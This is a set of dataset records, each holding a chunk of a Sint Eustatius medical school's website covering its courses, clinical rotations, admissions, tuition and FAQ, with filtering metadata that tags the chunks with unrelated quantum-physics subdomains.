"fundamental life processes and concepts common to all living organisms. emphasis is on the application of biological principles and concepts in the field of medicine. course includes lab work. inorganic chemistry with lab 1 ( 4 credits ) this course provides the students with the fundamental concepts of the chemical processes, enabling students to use chemical concepts in daily living and in the understanding of biochemistry. it covers matter, nomenclature of chemical compounds, chemical composition and properties of compounds and modern atomic theory. it includes atomic structure, chemical bonding ; solutions and gas laws. topics are developed by thoughtful integration of laboratory and problem based instruction. english composition i ( 4 credits ) this course is designed to give students practice in writing. it helps students to understand the functions of writing and to communicate effectively. students participate in a variety of writing tasks including preparing descriptions, writing summaries of readings, preparing drafts, and writing compositions. college algebra ( 4 credits ) the design of this course is to provide a solid foundation in algebra. the topics include the fundamentals of algebra, relations, functions, solutions of first - and second - degree equations and inequalities, systems of equations, matrices and determinants, binomial theorem, polynomial functions, exponential and logarithmic functions, analytic geometry. the concepts examined in this course will include, critical thinking and decision making. computer science ( 4 credits ) this computer science course is designed to give the students the fundamental knowledge and introduction with regard to database management, presentation, web design search engine optimization and other critical disciplines that are necessary in today \u2019 s workplace. emphasis will be placed on making technology the asset / tool and assisting the student with the technological challenges the will confront. this course will all for independent projects dealing with real world applications and situations. general biology with lab ii ( 4 credits ) this course emphasizes on developing an understanding the concepts of biology as a living process rather than a body of facts. it helps the students to understand the concepts of cell physiology and structure. all human systems, including the structures, actions and processes of the human body are covered. it enables the students to apply the biological knowledge and critical thinking to medical, environmental and social concerns. course includes lab work. inorganic chemistry with lab 11 ( 4 credits ) the course is developed to emphasize the applications of chemistry in the field of medicine. chemical reactions, equilibrium, acids and bases, electrochemistry and topics related to biochemistry are included. this course enables the students to improve their problem solving skills, and mathematical skills. the course structure is designed to enhance the connections between theory", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5672967213853994, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.867980"} {"text": "of medicine. chemical reactions, equilibrium, acids and bases, electrochemistry and topics related to biochemistry are included. this course enables the students to improve their problem solving skills, and mathematical skills. the course structure is designed to enhance the connections between theory and practice by engaging students in sessions of integrated laboratory and lecture. english composition ii ( 4 credits ) this course is designed to develop the writing skills of students. the course emphasizes precision in grammar, maturity of style and diction, clear organization of material, skill in methods of objective analysis and interpretation of literature. students will develop skills in critical thinking, organization, and clear precise communications. biostatistics ( 4 credits ) this course is an introduction to statistical concepts and analytical methods as applied to data in biomedical sciences. it emphasizes the basic concepts of quantitative analysis of data, and statistical inferences. topics include probability, frequency distributions, central tendency and dispersion ; hypothesis testing, confidence intervals for means, variances and proportions ; the chi - square statistics ; data analysis and linear correlation. the course provides students a foundation to evaluate information critically. physics with lab i ( 4 credits ) this course is a conceptual study of units and dimensions of physical quantities, vectors, kinematics, laws of motion and its applications, work and energy, properties of matter, sound, oscillations, gravitation, fluid mechanics and thermal physics. students perform experiments dealing with the basic laws of mechanics, vibration, circular motion, fluids, heat and thermal properties of materials. physiology i ( 6 credits ) this course is designed to provide students with an understanding of the function and regulation of the organ systems of the body and physiological integration of the systems to maintain homeostasis. course content will include study of the musculoskeletal, circulatory, respiratory, digestive, urinary, immune, reproductive, and endocrine systems. students receive a quantitative and integrated concept of sub cellular, cellular and organ system functions. organic chemistry with lab i ( 4 credits ) this course covers basic principles of structure and nomenclature of organic compounds, both aliphatic and aromatic. it emphasizes on the principles of chemical reactions of organic compounds related with the synthesis or degradation of biomolecules in human metabolism. saturated hydrocarbons, unsaturated hydrocarbons, cis - trans isomerism and addition reactions are covered. lab activities include the use of models for the design of hydrocarbon and isomer structures. experiments such as purification or separation, physical characterization, reaction types,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.529411677969319, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.869139"} {"text": "##saturated hydrocarbons, cis - trans isomerism and addition reactions are covered. lab activities include the use of models for the design of hydrocarbon and isomer structures. experiments such as purification or separation, physical characterization, reaction types, and synthesis of organic compounds are included. human anatomy with lab i ( 5 credits ) this is a basic course which provides knowledge of the structure and functions of human body. students will understand the key principles in human anatomy and recognize the unique role of anatomy in clinical settings. the course covers the anatomical terminology to describe the basic structures of the human body. students work as a member of a laboratory team. histology and cell biology ( 6 credits ) this course will introduce the student to the molecular and biochemical bases for cell structure and function. lectures and lab will explore the microscopic anatomy of cells, tissues and organs. physics with lab ii ( 4 credits ) this course provides basic knowledge in biophysics. it enables the students to understand the concepts of human physiology. the course includes basic principles of electricity, electromagnetism, light and optics. modern physics consists of quantum physics, relativity, atomic physics, nuclear physics and nuclear medicine. the course is designed to increase problem - solving and analytical thinking skills. students perform experiments based on the principles of electricity, optics and atomic physics. physiology ii ( 6 credits ) this course provides the students with a high level of understanding of the physiological basis of medicine. the essential concepts of physiology and mechanisms of body function are presented at various levels of organization, ranging from cellular and molecular to tissue and organ system levels. emphasis is placed on understanding the integrated regulation of various body processes among the major systems. organic chemistry with lab ii ( 4 credits ) this course is a further study of the chemistry of carbon compounds from a functional group perspective. the course covers structure and nomenclature of specific organic compounds like alcohols, thiols, aldehydes, ketones, amines, esters and carboxylic acids. emphasis is given on reactions, preparations, uses, and simple mechanisms. lab activities are focused in the detection and identification of the presence of the functional groups studied in the course in molecules of biomedical relevance as proteins, drugs, and others. human anatomy with lab ii ( 5 credits ) this course is a study of human body by regions and systems. the course emphasizes the aspects of clinical anatomy. it provides the knowledge of the role of human anatomy in health and disease. anatomy laboratory course provides laboratory experiences that apply to the topics and concepts covered in the fundamental", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5269563684554988, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.870645"} {"text": "study of human body by regions and systems. the course emphasizes the aspects of clinical anatomy. it provides the knowledge of the role of human anatomy in health and disease. anatomy laboratory course provides laboratory experiences that apply to the topics and concepts covered in the fundamentals of anatomy. general psychology ( 6 credits ) the course is an introduction to topics in the field of psychology. the course content includes the biology of behavior, learning, memory, cognition, motivation, emotion, personality, abnormal behavior and its therapies, social behavior and individual differences. the course includes coverage of dealing effectively with the demands of everyday life, interpersonal relationships, and approaches to personal growth. the basic sciences program takes place during 15 - week terms on the island of sint eustatius. summer and winter breaks are short by u. s. standards, permitting three academic terms in any given calendar year. students also have the option of completing their 5th semester in the united states, which further reduces students \u2019 total time away from their home country. the basic sciences consists of training in multiple disciplines taught in a 5 - term format. most courses are taught in double 50 - minute blocks, 3 - 5 times per week. training in some disciplines may span two terms. for students needing extra preparation for the basic sciences program, the university offers an extended program involving an extra 4 - month term of pre - basic sciences coursework ( e. g., medical physics, chemistry in medicine. ). to optimize learning, the courses in the extra term are taught in an integrated, clinically - relevant fashion. introduction to clinical medicine : this course is crucial to students entertaining the possibility of a vocation within the medical profession. as multiple university medical educational institutions have shown, the introduction of clinical medicine at the earliest possible juncture during the assimilation of the basic sciences coursework provides the greatest benefit to the student. this course introduces students to the background and procedural functions of a physician such as : the psychological mind - set, professionalism, skill sets, medical decision making, ethical conundrums, differential diagnosis, and finally making a diagnosis and treating the same real patient predicated on that diagnosis. thus, the clinical medicine course fully outlines for students, all the aspects of being a physician, which contribute to both the hard work and incredible rewards of practicing the \u2018 art \u2019 of medicine. professionalism & patient - doctor skills i this course consists of fifteen weeks of lecture during which time students will be educated on what it means to be the doctor, what is expected in terms of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4907933663509517, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.871989"} {"text": "and incredible rewards of practicing the \u2018 art \u2019 of medicine. professionalism & patient - doctor skills i this course consists of fifteen weeks of lecture during which time students will be educated on what it means to be the doctor, what is expected in terms of personal deportment, professionalism, appearance, and cultural awareness. students will practice what they have learned in the classroom and will also observe at the a local, pharmacy, laboratory, and at an in - patient and out - patient hospital, with clinical mentors from 4th and 5th terms. gross & developmental anatomy gross structure and development of organs and systems of the human body.. this course is dedicated to teaching developmental aspects of major organ systems, integrated with a discussion of the gross anatomy of the human body. within the course, an emphasis is placed on applied and clinical aspects of gross and developmental anatomy. in addition to didactic lectures and cadaveric dissection, the learning of anatomy is enhanced with the help of small group discussions in the laboratory with computer software, study of x - rays, ct scans, mris and osteology. histology and cell biology microscopic structure and function of cells, tissues and organs. formal lectures and student presentations explore the microscopic anatomy of cells, tissues and organs. emphasis is placed upon the correlation of structure with function. epidemiology, biostatistics and preventive medicine. epidemiologic principles, measurements, investigations and research designs will be discussed. students will gain experience in applying epidemiologic methods in clinical problem solving and decision making. principles of biostatistics as they apply to medicine will be covered. students are expected to build upon and in turn demonstrate their knowledge in the process of testing hypotheses and making inferences from various types of data. disease trends in human populations and methods of disease prevention will also be explored. public health systems and medical care organizations will also be reviewed. students participate in practical instruction through their participation in community health care projects. ethics & patient - doctor skills ii students will be instructed on the moral and legal concerns in medicine, through didactic lectures :. the course will explore complex issues pertaining to confidentiality, informed consent, mental competency, obstetric / pediatric ethics, physician - assisted suicide and conflict of interest situations current laws, regulations and judicial precedents governing ethical matters in medicine will also be discussed.. students will be instructed in physical and practical skills involving a stethoscope, otoscope, ophthalmoscope, tuning forks, reflex", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46202733592968426, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.873075"} {"text": "situations current laws, regulations and judicial precedents governing ethical matters in medicine will also be discussed.. students will be instructed in physical and practical skills involving a stethoscope, otoscope, ophthalmoscope, tuning forks, reflex hammer, laryngoscope, vaginal specula, surgical gloves, gowns, hats, booties, surgical instruments, suture material, casting material, syringes, needles, and other medical instruments essential to a physican \u2019 s main functions. students will also gain valuable hospital experience with 5th term mentors. biochemistry and genetics structure and function of carbohydrates, lipids, proteins, and other important biomolecules. lectures will cover important topics such as structure - function relationships in molecular diseases, enzyme characteristics and kinetics, bioenergetics, metabolism and metabolic interrelationships of important biomolecules, the molecular basis of metabolic diseases, the biochemistry of hormones and cell signaling, and biochemical principles in nutrition. in lab activities, students will be instructed on the basic tests and procedures used in general practice, including pregnancy tests, urine reagent strips and tablets for the detection of glucose and ketonic bodies, and glucometers for monitoring diabetic patients. basic genetics and its relevance to inherited disorders. this course covers topics including the structure and function of genes, the general organization of the human genome and the principles of mendelian and non - mendelian genetics as applied to disease. chromosomal abnormalities, cytogenetics in principles and practice, population genetics as applied to issues of human health and the use of genetics in medicine will also be covered. principles of molecular recognition, the control of cellular proliferation and the organization, replication and repair of the genome will also be emphasized. gene expression, mutation, molecular genetics and the techniques of molecular biology will also be covered. basic human biological processes. both normal and abnormal physiological states, as seen in both everyday life and in the clinical setting, will be examined fully. specifically, the mechanical, biomedical, and regulatory processes of major organ systems including cardiovascular, respiratory, renal, endocrine, gastrointestinal, and neural will be covered. clinical correlation is stressed via case studies of patients with major organ system dysfunction. structure and function of the brain, spinal cord and peripheral nervous system. students will gain knowledge of neuroscience through didactic sessions and laboratory dissections of the human brain and spinal cord. this will promote a clinically relevant understanding", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.557917752368142, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.874114"} {"text": "major organ system dysfunction. structure and function of the brain, spinal cord and peripheral nervous system. students will gain knowledge of neuroscience through didactic sessions and laboratory dissections of the human brain and spinal cord. this will promote a clinically relevant understanding of a functional and dysfunctional nervous system. through the integration of neuroanatomy, physiology, pharmacology, and biochemistry, students will converse fluently in the language of the nervous system. emphasized are the clinical examination and the correlation of findings with neuroimages. communication & patient - doctor skills didactics iii : as part of this course, lectures will discuss patient medical history including how it is gathered and recorded. students will learn how to glean patient information by from dialogue, neurolingusitics ( body language ) medical records, and other healthcare professionals.. the didactics will include the patient \u2019 s demographics, chief complaint, family, social, review of systems, and past medical history. the course will also explain the function as well as how to use soap notes. with 5th term mentors, physicians, and clinical asst. students will gain practical knowledge of recording patient history. the biological and psychological bases of mental illness. major psychiatric disorders are covered with an emphasis on diagnostic features, neurobiological correlates, and psychotherapeutic and biological treatments. during practical role - play exercises, students will gain experience conducting mental status exams, interviewing for specific neuropsychiatric disorders, and managing suicidal behavior. microorganisms causing infectious diseases. the course will cover the classification, laboratory identification, pathogenesis and clinical manifestations of disease processes and treatment strategies. major human diseases of bacteria, viruses, fungi, protozoa and helminths will be presented in lectures. student experiences within the laboratory will supplement didactic instruction. fundamental concepts of immunology are covered and integrated as various diseases are discussed. the study of basic reactions of cells and tissues to abnormal stimuli that underlie all diseases. students examine the mechanisms of injury and disease processes and the body ' s response. lectures cover cell injury, acute and chronic inflammation, ischemia and necrosis, neoplasia and mechanisms of pathogenicity. infectious disease and response to infectious agents are covered. physical diagnosis & patient - doctor skills iv : didactic lectures will demonstrate to students how to peform head to toe physical examinations of mock and real patients. students will be introduced to clinical skills such as : auscultation of cardiac, pulmonary, and gas", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.5061136911883899, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.875188"} {"text": "& patient - doctor skills iv : didactic lectures will demonstrate to students how to peform head to toe physical examinations of mock and real patients. students will be introduced to clinical skills such as : auscultation of cardiac, pulmonary, and gastrointestinal sounds ; otoscopy, including the otoscope, its practical use and functions in the observation of adults and children ; ophthalmoscopy, including the ophthalmoscope, with instruction on how to use it for observation ; performing interpretation of 12 lead electrocardiograms ; using doppler devices in order to auscultate fetal heartbeats and find arteries and veins ; phlebotomy and starting an intravenous line ; suturing - two handed, one - handed, and instrument - tie ; the use of airway and respiratory care instruments and maneuvers in critically ill patients ; administering oxygen through use of the nasal cannula, face mask, and non - rebreather mask, ambubag - mask, ambubag - endotrachael tube manual ventilation, laryngoscope, endotrachael tubes and endotrachael intubation ; cardio - pulmonary resuscitation, advanced cardiac life support, percussion of body cavities and organs ; pelvic, rectal, and speculum examinations in vitro and on live models and patients ; central intravenous line placement, gowning and gloving in preparation for surgery ; casting and immobilization of the extremities of injured or post - operative patients ; the use of splints, plaster and fiberglass glass casting materials and their application on live patients injections ; intradermal, subcutaneous, and intramuscular injection techniques ; lumbar puncture, epidural and subarachnoid ( spinal ) anesthesia ; local anesthetic techniques, including local, ring, and nerve blocks. an integration of anatomy, histology, physiology, biochemistry, microbiology and pathology in the understanding of complex actions of drugs on the living organism. the main focus of this course is to provide future doctors with a basic understanding of the functions of drugs in the treatment of patients. basic principles of pharmacology including absorption, distribution, metabolism, excretion, drug toxicity and drug - drug interactions will be presented together with the principles of drug - receptor interactions. after basic concepts are covered, the pharmacology of all major organ systems will be explored, including the", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4824030873007625, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.876219"} {"text": "distribution, metabolism, excretion, drug toxicity and drug - drug interactions will be presented together with the principles of drug - receptor interactions. after basic concepts are covered, the pharmacology of all major organ systems will be explored, including the autonomic and central nervous systems and the cardiovascular, respiratory, renal, and blood systems. the anti - microbial and cancer chemotherapeutic agents and the basic principles of toxicology will also be covered. students will gain an understanding of patho physiology manifestations and the management of common diseases. pulmonary, cardiac, gastrointestinal, endocrine, rheumatic, orthopedic, renal, neurologic and hematology organ systems will be covered. course includes laboratory hours. introduction to clinical medicine : didactic lectures : system by system look at clinical patho physiology as elucidated by demonstrating thorough knowledge of the basic sciences and the art of differential diagnosis. clinical experience will be specifically tailored by the clinical staff and assistants to the areas in which there is more practical hands - on technical skills or more information acquiring skills needed. the students will be evaluated purely on their clinical skills and ability to communicate their findings to their colleagues. there will be a clinical medicine \u201c grand rounds \u201d monthly. introduction to clinical medicine : this course is crucial to students entertaining the possibility of a vocation within the medical profession. as multiple university medical educational institutions have shown, * the introduction of clinical medicine at the earliest possible juncture during the assimilation of the basic sciences coursework provides the greatest benefit to the student. this course introduces students to the background and procedural functions of a physician such as : the psychological mind - set, professionalism, skill sets, medical decision making, ethical conundrums, differential diagnosis, and finally making a diagnosis and treating the same real patient predicated on that diagnosis. thus, the clinical medicine course fully outlines for students, all the aspects of being a physician, which contribute to both the hard work and incredible rewards of practicing the \u2018 art \u2019 of medicine. fundamentals of clinical medicine : ( usmle review ) this course provides students with an overview and synthesis of materials covered in the basic sciences program in preparation for the successful writing of usmle step 1. presentations will focus on the systems and disciplines which are central to the usmle step 1, including anatomy, behavioral sciences, biochemistry, immunology, medical genetics, microbiology, pathology, pharmacology, and physiology, etc. students will also have access to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5013120988433314, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.877289"} {"text": "systems and disciplines which are central to the usmle step 1, including anatomy, behavioral sciences, biochemistry, immunology, medical genetics, microbiology, pathology, pharmacology, and physiology, etc. students will also have access to usmle - type practice questions. to enhance the review course, faculty of the university of sint eustatius make themselves available to students in order to address any questions arising from the presentations or practice questions. course achievement is measured through a simulated usmle step 1 examination, which lasts lasting approximately four hours in length. the simulated usmle step 1 examination provides diagnostic feedback to permit targeted formulation of remediation plans geared at addressing specific areas of weakness. grades for the review course are awarded on a pass - fail basis. option for u. s - based 5th term - 5th @ atlanta after completing the 1st through 4th terms of basic sciences terms on sint eustatius, students have the choice of completing their 5th term either on sint eustatius or in the united states in duluth, a suburb of atlanta, georgia. as on sint eustatius, 5th @ atlanta includes the introduction to clinical medicine and fundamentals of clinical medicine ( usmle review ). students will be in the dynamic community of duluth which offers many conveniences to students, affordable housing and a large medical community to gain practical experience to clinical medicine. in order to be eligible for the u. s. - based 5th term, students must enroll before the established deadlines, be in good financial standing with the university, and have the legal right to reside in the u. s. the third and fourth years are devoted to 72 weeks of clinical clerkships / rotations at selected hospitals throughout the united states, uk and canada. core clinical rotations comprise 48 weeks and provide a solid foundation in the essential clinical knowledge and skills for future physicians in all specialties. the remaining 24 weeks are designated for elective rotations which provide medical students an excellent opportunity to pursue areas of clinical interests or to explore other specialties. after completing the 72 weeks of clinical rotations, our medical students have matched at some of the most prestigious hospitals and post graduate training programs in the united states. internal medicine ( 12 weeks ) students participate in the comprehensive clinical management of adult patients. students gain insight into the common medical problems and disorders seen in the specialty of internal medicine. this is achieved under the close supervision of attending physicians. formal lectures, informal discussions and student case presentations supplement the experience gained during the internal medicine clinical", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45659942517897584, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.878476"} {"text": "adult patients. students gain insight into the common medical problems and disorders seen in the specialty of internal medicine. this is achieved under the close supervision of attending physicians. formal lectures, informal discussions and student case presentations supplement the experience gained during the internal medicine clinical rotation. surgery ( 12 weeks ) students are introduced to the basic knowledge, skills and behaviors unique to surgery and is fundamental to the clinical practice of all physicians. students are exposed to pre operative, intra - operative and post operative care of the surgical patient. students also, become familiar with the effective use of language, critical thinking skills and conduct unique to the specialty of surgery. obstetrics & gynecology ( 6 weeks ) students learn the fundamentals of prenatal and postpartum care and the management of normal labor and delivery of the newborn. they also gain experience in the diagnosis and treatment of obstetric problems and common gynecological disorders. pediatrics ( 6 weeks ) students learn the similarities and differences unique to the diagnosis and the treatment of pediatric and adolescent patients. students develop an understanding of normal patterns of growth and development as well as common abnormalities and illnesses of childhood. psychiatry ( 6 weeks ) students participate in the care of patients with psychiatric disorders. students develop skills in taking a psychiatric history, performing a mental status examinations and psychiatric assessments. students gain familiarity with the common pharmacologic agents and other modalities in the care and treatment of psychiatric patients. family practice ( 6 weeks ) students are introduced to the primary care approach to the diagnosis and treatment of common problems encountered in the family practice setting. students gain an appreciation for healthcare maintenance and disease prevention in this diverse clinical setting. elective clerkship ( 24 weeks ) fourth year elective rotations are available in hospitals and medical centers throughout the u. s. and u. k. for fourth - year students of the university of sint eustatius. students have opportunities to explore specific areas that have sparked interest during core clinical rotations or expand knowledge and skills acquired in core rotations. some students use electives to enhance their applications for post graduate training programs. aspiring medical students of the 21st century are entering the healing profession at a time when more than fifty percent of their patients will likely desire to incorporate or turn to systems of healing from other cultures and philosophies. at the university of sint eustatius school of medicine we believe our students need to be prepared to address this reality in the practice of medicine. therefore, we are integrating into the basic science curricula and clinical experiences a", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.48645747346481805, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.879759"} {"text": "latin translates to \u201c teacher \u201d. in this, we seek our students to learn, practice, and integrate teaching the tenets of wellness, disease prevention, and self - care into their routine interactions with their patients and community. the integral health premise is based on an approach articulated by modern philosophers that human life can be understood from the following four inter - related aspects : any truly integrated vision of health and healing must understand the person from each of these aspects. these same philosophers further postulate that optimal health is best achieved when the individual builds and incorporates a program of self - transformation involving changes in diet, nutrition, exercise, recreation, social interaction, and psychological and spiritual development. a model of integral health directs individuals to these necessary and personal transformations. it is the goal of the university of sint eustatius school of medicine to be at the forefront of advances in medical education curriculum development through an adoption of an integral health approach. we believe that this approach meets both the desires of our students as well as the needs of their future patients. the university of sint eustatius school of medicine offers a variety of elective programs of study in hyperbaric medicine. the expanding field of hyperbaric medicine involves the breathing of high - concentrations of oxygen at significantly elevated pressures to provide therapeutic benefit in several clinical conditions. hyperbaric oxygen therapy confers demonstrable benefits in select patients, chiefly through the reversal of hypoxia and the hastened removal of pathological gases ( e. g., carbon monoxide ). by these means, hyperbaric oxygen has become a prominent front - line or adjunctive component in the treatment of several clinical conditions : for students whose medical studies are well managed, participation in a hyperbaric program provides the opportunity to expand scientific and medical experience. an additional advantage enjoyed by participants in the programs of undersea and hyperbaric medicine is that the opportunity for hands - on patient contact may occur as early as the first term of medical studies. the clinical populations most likely to be encountered by medical students on sint eustatius in this context reflect the geographic intersection of scuba diving ( recreational and industrial ), which can lead to decompression sickness and gas emboli, and endemic systemic disease ( e. g., diabetes ) that commonly leads to the expression of problem wounds. to accommodate the varied aptitudes and interests of medical students pursuing training in hyperbaric oxygen therapeutics on sint eustatius, a variety of academic programs have been developed. medical students should note that", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5829019284688148, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.883309"} {"text": "leads to the expression of problem wounds. to accommodate the varied aptitudes and interests of medical students pursuing training in hyperbaric oxygen therapeutics on sint eustatius, a variety of academic programs have been developed. medical students should note that studies in the programs of undersea and hyperbaric medicine are typically undertaken concurrently with courses in the basic sciences in the university of sint eustatius. as such, enrollment in the programs of undersea and hyperbaric medicine need not prolong the stay of medical students on sint eustatius. health care practitioners and other interested persons are also welcome to participate in the programs. please visit contact us. the volumes of information to be digested during medical schooling are enormous and often overwhelming. for many prospective students, however, the mere management and submission of documents leading to acceptance and registration can seem equally daunting. at the outset, applicants should become familiar with the time - frame for the processing of completed applications. at the same time, to prevent delays in processing, applicants should ensure that all required admissions documents are submitted in good order, noting any special requirements that may be relevant to applicants from outside of the us and / or those applying for admission as transfer students with advanced standing. the receipt of a letter of acceptance does not signal the end of the admissions process. for students seeking medical training on sint eustatius, subsequent hurdles pertain to immigration. in recent years global political conflicts have impacted immigration practices and standards worldwide. sint eustatius is not exempted from these changes, and applicants must ensure that they understand basic requirements that dictate eligibility for immigration into sint eustatius. next, applicants must ensure that all documents required for immigration are prepared accurately and thoroughly. the university of sint eustatius school of medicine will be temporarily suspending its recently established financial aid program due to an unforeseen bank regulatory issue. the office of financial aid services has been working diligently with our banking partners to resume processing applications and disbursing funds for those loan applications already approved. as a result of unexpected delays in connection with finalizing the program criteria, we have exceeded the maximum time allotted for initial disbursement. under the current regulations, the bank is required to distribute rejection letters to all applicants whose loans are already in the system. these rejection letters will not have any negative consequence on applicants \u2019 credit, nor bear any negative reflection on the applicants \u2019 ability to qualify for the loan once the matter has been resolved. we expect resolution", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5085497241554654, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.884391"} {"text": "to all applicants whose loans are already in the system. these rejection letters will not have any negative consequence on applicants \u2019 credit, nor bear any negative reflection on the applicants \u2019 ability to qualify for the loan once the matter has been resolved. we expect resolution in the coming weeks and fully intend to resubmit all applications. we apologize for any inconvenience resulting from this unexpected situation and look forward to re - establishing our financial aid program at the earliest opportunity. dear citizens of canada, it is with great pleasure and excitement that the university of sint eustatius school of medicine has been fortunate enough to receive approval and recognition from the canadian government and the provinces of alberta, british columbia, manitoba, newfoundland and labrador, and ontario! with this recognition, students who are citizens or residents of alberta, british columbia manitoba, newfoundland & labrador and ontario are eligible for educational funding. if you are a resident of a province other than alberta, british columbia, manitoba, newfoundland & labrador or ontario, you are encouraged to inquire with your province about the university of sint eustatius school of medicine \u2019 s designation in that province. on the following pages you will find information, procedures and resources which will aid you in applying for educational funding with the canadian government and the aforementioned provinces. we look forward to assisting you with the application and management of educational funding with canada. the university of sint eustatius school of medicine canadian student loan code is zuby! | premedical program | | $ 5, 600 / term | | basic sciences program | | $ 7, 800 / term | | clinical rotations / six terms | | $ 8, 400 / term | basic sciences program tuition includes : us $ 500 seat deposit ( non - refundable and due within 30 days of acceptance ), registration and orientation fees, laboratory and manual fees, microscope and slide rentals, technology fee, library fee, health and evacuation insurance ( with term break coverage ), island administration fees, high - speed internet access fees, and supplemental course fees. clinical medicine program tuition includes : us $ 1, 000 deposit ( $ 500 non - refundable and due within 30 days of acceptance ), clerkship administration fees, health insurance ( once you begin to rotate, your health insurance cost will be paid through your tuition, students may elect to purchase insurance prior to the start date of their clinical rotation ), malpractice insurance ( during clinical medicine program ), and usmle step sponsorship. additionally : please check with the clinical medicine department in", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4344907152467548, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.885487"} {"text": "through your tuition, students may elect to purchase insurance prior to the start date of their clinical rotation ), malpractice insurance ( during clinical medicine program ), and usmle step sponsorship. additionally : please check with the clinical medicine department in new york, as some sites may require additional fees. for added convenience, students may use major credit cards for transactions ( e. g., payment of tuition or deposits for admission ). the bursar ' s office accepts visa, mastercard, discover and american express. tuition is due 30 days before the start of the term. tuition costs and fees are subject to change without notice. please refer to the student handbook for specifics regarding the financial policies of the university. when did the university of sint eustatius start? the university was established in april of 1999. it started training doctors in september of 1999. how many students are at the university of sint eustatius? as of january 2007, there are approximately 150 students in the basic sciences ( on island ) and 260 students in the clinical medicine program. what is the professor to student ratio? one professor for every ten students. what is included in the tuition? tuition includes the costs for lab equipment and fees, library use and fees, use of microscopes and histology slide sets, administrative fees, technology fees, high - speed internet connections, personal health insurance, evacuation insurance, and liability insurance during clinical years. fees exclude room and board, textbooks and personal items. what percentage of the student body is from north america? currently, 85 % of our students come from the u. s. and canada. what countries other than the u. s. are students from? the netherlands, canada, england, venezuela, sri lanka, nigeria, india, and pakistan are currently represented in our student body. how long is the intersession between terms? breaks between terms vary from 14 - 21 days. the longest break of the year usually follows the september term. in order to enter the basic science program, what / how many premed subjects must be completed? a bachelor \u2019 s degree or a minimum of ninety hours of \" college - level \" study including one year with labs in, biology, inorganic chemistry, organic chemistry, and physics. these are minimum state licensure requirements for someone holding an m. d. degree. do the credits that i earned in a postgraduate nursing and / or pa program count towards my medical degree? no, all credits for the m. d. degree must be completed while formally admitted", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41245864116428427, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.886640"} {"text": "##ure requirements for someone holding an m. d. degree. do the credits that i earned in a postgraduate nursing and / or pa program count towards my medical degree? no, all credits for the m. d. degree must be completed while formally admitted and matriculated in a full m. d. degree program. although some courses ( e. g., anatomy and physiology ) taken while studying podiatry or chiropractics provide good preparation, these courses nonetheless are not transferable into the m. d. degree program. does a medical school degree / certification from poland, israel or other foreign schools allow a student to go directly into clinicals? if that certification has made them eligible for the usmle step 1 exam, then there is the chance of admission into our clinical program. the school, at minimum, must be w. h. o. - recognized and ecfmg - approved. the student must pass the usmle step i exam prior to starting any rotations. our own basic sciences program coordinator usually analyzes course work to ensure that there are no voids in another program ' s curriculum. what gpa is taken into consideration as part of the admissions process? a student ' s gpa in the hard sciences is considered in the context of an overall gpa of 3. 0. if you are not sure if you qualify or if you have a question, please email us. do you evaluate an aggregate gpa or just the gpa from the past two years? we look at all aspects of each student ' s academic credentials and maturity, as well as the reputation and level of programs attended. we specifically examine trends of improvement over time. is the university recognized by the world health organization ( w. h. o. )? yes, the w. h. o. has recognized the existence of the university of sint eustatius in a formal newsletter and on their website.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4313426559645741, "token_count": 391, "source_dataset": 